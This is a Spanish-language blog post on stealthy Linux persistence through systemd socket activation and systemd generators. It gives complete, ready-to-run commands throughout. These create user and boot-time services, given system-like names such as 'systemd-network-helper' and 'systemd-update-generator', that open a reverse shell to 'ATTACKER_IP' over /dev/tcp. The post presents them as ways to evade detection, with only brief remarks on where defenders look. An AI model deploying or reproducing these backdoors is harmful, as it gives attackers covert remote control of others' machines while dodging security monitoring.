Hay una regla no escrita en intrusiones modernas: El mejor malware es el que no parece malware. Pero hay una evolución aún más interesante que se está viendo en entornos Linux modernos. Persistencia que: no deja procesos corriendo, no hace beaconing, no usa cron, no instala malware clásico y aparece solo cuando el atacante lo necesita. Todo usando infraestructura normal del sistema. Y en muchos SOC todavía pasa desapercibido. Esto podríamos llamarlo Living off the Land en systemd
Hoy vamos a ver dos niveles. El segundo casi nadie lo revisa.
Nivel 1 — Persistencia bajo demanda con socket activation
Muchos servicios Linux funcionan así: systemd abre un socket y cuando alguien se conecta… se lanza el servicio. Esto se usa en servicios reales del sistema todo el tiempo. Pero también se puede abusar. La idea es simple: Crear un socket local que solo ejecute el payload cuando alguien lo toque.
Sin procesos persistentes.
Sin tráfico periódico.
Sin nada que llame la atención.
Primero se crea el servicio:
mkdir -p ~/.config/systemd/user
cat > ~/.config/systemd/user/systemd-network-helper.service << 'EOF' [Unit] Description=System Network Helper [Service] Type=simple ExecStart=/bin/bash -c 'exec bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' StandardInput=socket EOF
Después el socket que lo activa:
cat > ~/.config/systemd/user/systemd-network-helper.socket << 'EOF' [Unit] Description=System Network Helper Socket [Socket] ListenStream=127.0.0.1:45555 Accept=no [Install] WantedBy=sockets.target EOF
Activación:
systemctl --user daemon-reload systemctl --user enable --now systemd-network-helper.socket
Y aquí viene lo interesante.
Ahora el sistema queda así:
- Hay un socket escuchando
- No hay proceso activo
- No hay conexión saliente
- No hay nada ejecutándose
Hasta que el atacante decide activarlo.
Por ejemplo, tras pivotar dentro de la red:
nc 127.0.0.1 45555
En ese momento systemd hace esto:
- Lanza el servicio
- Conecta el socket
- El payload se ejecuta
- Cuando termina… desaparece
Muchos sistemas de detección dependen de procesos persistentes. Aquí el atacante no existe hasta que decide existir.
Pero esto no es lo más interesante…
Nivel 2 — Persistencia que casi nadie revisa: systemd generators
Aquí es donde la cosa se vuelve realmente interesante. systemd tiene algo llamado generators. Son pequeños programas que se ejecutan durante el arranque del sistema y generan servicios dinámicamente. No son servicios normales. No aparecen en los lugares donde normalmente se revisa persistencia.
systemd ejecuta cualquier binario que encuentre en:
/usr/lib/systemd/system-generators/ /run/systemd/system-generators/ /etc/systemd/system-generators/
Y eso abre una puerta bastante potente. Porque un generator puede crear servicios cada vez que el sistema arranca.
El flujo ofensivo sería:
- Acceso inicial
- Escalada de privilegios
- Instalar generator
- El generator crea un servicio en boot
- El servicio ejecuta payload
- Todo parece parte del sistema
Crear el generator:
sudo mkdir -p /etc/systemd/system-generators
sudo nano /etc/systemd/system-generators/systemd-update-generator
Contenido:
#!/bin/bash OUT_DIR="$1" cat > "$OUT_DIR/system-update-helper.service" << 'EOF' [Unit] Description=System Update Helper After=network.target [Service] Type=simple ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' [Install] WantedBy=multi-user.target EOF
Permisos:
sudo chmod +x /etc/systemd/system-generators/systemd-update-generator
Ahora pasa algo curioso.
Durante el arranque:
- systemd ejecuta el generator
- el generator crea el servicio
- el servicio aparece dinámicamente en:
/run/systemd/generator/
Muchos analistas no revisan esa ruta. Porque normalmente se busca persistencia en:
/etc/systemd/system /usr/lib/systemd/system
Pero no en unidades generadas dinámicamente, lo que hace esto especialmente interesante en intrusiones reales 😉
Tiene varias propiedades que gustan mucho a atacantes avanzados:
- Se mezcla con lógica interna del sistema
- Ocurre durante el boot
- Puede camuflarse fácilmente
- No deja servicios obvios instalados
- Genera unidades dinámicas
- Es raro en malware común
Y hay otro detalle importante:
Muchos equipos de seguridad ni siquiera saben que esto existe.
Y si este post te interesa, en el siguiente veremos una técnica que se está viendo en intrusiones modernas que combina: systemd, contenedores y control de red interno, y que es mucho más sigilosa que esto.
